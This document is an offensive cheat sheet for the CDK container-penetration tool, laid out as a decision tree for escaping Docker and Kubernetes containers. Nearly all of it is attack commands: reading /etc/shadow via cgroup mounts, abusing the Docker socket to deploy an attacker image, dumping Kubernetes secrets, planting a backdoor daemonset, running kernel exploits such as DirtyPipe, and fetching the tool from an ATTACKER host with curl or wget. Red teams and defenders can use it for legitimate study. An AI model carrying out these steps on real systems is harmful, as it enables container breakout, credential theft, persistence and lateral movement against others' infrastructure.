CDK Container Penetration and Escape
- 攻击大类:C14 云与容器执行
CDK is the Swiss army knife of container penetration — a single binary covering in-container information gathering, vulnerability detection, and escape exploitation. After getting a container shell, run the CDK assessment first, then pick an escape path.
Project address: https://github.com/cdk-team/CDK
Step 1: Environment Assessment
Run the assessment immediately after entering the container; CDK automatically detects all possible escape paths:
# Fully automatic assessment (recommended first choice)
cdk evaluate
# The assessment output lists:
# - Container runtime type (Docker/containerd/CRI-O)
# - Container permissions (privileged/capabilities)
# - Exploitable mount points
# - Available escape techniques
# - K8s Service Account Token
# - Network information
Escape Techniques
Privileged Container Escape
# When privileged=true is detected
cdk run mount-cgroup "cat /etc/shadow"
# or
cdk run mount-disk
# Escape via /dev devices
cdk run mount-procfs "cat /etc/shadow"
Capabilities Escape
# CAP_SYS_ADMIN
cdk run mount-cgroup "whoami"
# CAP_DAC_READ_SEARCH
cdk run cap-dac-read-search
# CAP_SYS_PTRACE
cdk run check-ptrace
cdk run shim-pwn # containerd-shim privilege escalation
Docker Socket Escape
# When /var/run/docker.sock is found mounted
cdk run docker-sock-check
cdk run docker-sock-deploy "attacker_image"
K8s Escape
# Leverage the Service Account Token
cdk run k8s-secret-dump
cdk run k8s-configmap-dump
# Create a privileged pod to escape
cdk run k8s-backdoor-daemonset
Kernel Exploit Escape
# CVE-2021-22555 (Netfilter)
cdk run exploit-CVE-2021-22555
# CVE-2022-0847 (DirtyPipe)
cdk run exploit-CVE-2022-0847
# runc CVE-2019-5736
cdk run runc-pwn
In-Container Information Gathering
# Scan internal network services (within the container network)
cdk run service-probe 10.0.0.0/24
# Probe the K8s API server
cdk run k8s-service-discovery
# Retrieve the metadata service (cloud environments)
cdk run cloud-metadata
Tool Delivery
CDK is a statically compiled single binary, so delivering it into a container is easy:
# Method 1: download through a web vulnerability
curl -o /tmp/cdk https://ATTACKER/cdk && chmod +x /tmp/cdk
# Method 2: via a temporary Python HTTP server
# Attacker machine: python3 -m http.server 8000
# Inside the container: wget http://ATTACKER:8000/cdk -O /tmp/cdk && chmod +x /tmp/cdk
Decision Tree
After entering the container:
├─ Step 1: cdk evaluate (automatically assess all escape paths)
├─ privileged=true → cdk run mount-cgroup / mount-disk
├─ docker.sock present → cdk run docker-sock-deploy
├─ K8s SA Token present → cdk run k8s-secret-dump
├─ capabilities present → exploit the matching capability
├─ none of the above → check the kernel version and try kernel exploits
└─ still no escape → lateral movement inside the container (service-probe the network segment)